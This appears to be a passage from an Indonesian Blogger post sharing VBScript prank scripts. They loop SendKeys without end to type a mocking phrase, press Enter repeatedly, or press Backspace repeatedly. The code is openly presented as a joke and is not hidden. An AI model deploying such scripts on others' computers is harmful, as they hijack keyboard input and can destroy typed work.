wscript.sleep 100
wshshell.sendkeys "Kamu emang jelak koq!"
loop
Dan membuat terus menerus menekan tombol “Enter”
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep  100
wshshell.sendkeys "~(enter)"
loop
Terus tekan backspace:
MsgBox "Balik lagi ah...saltik"
Set wshShell  =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys  "{bs}"
loop 
Read More ->>

Total Visitor

Powered by Blogger.

You can replace this text by going to "Layout" and then "Page Elements" section. Edit " About "

Followers

Search This Blog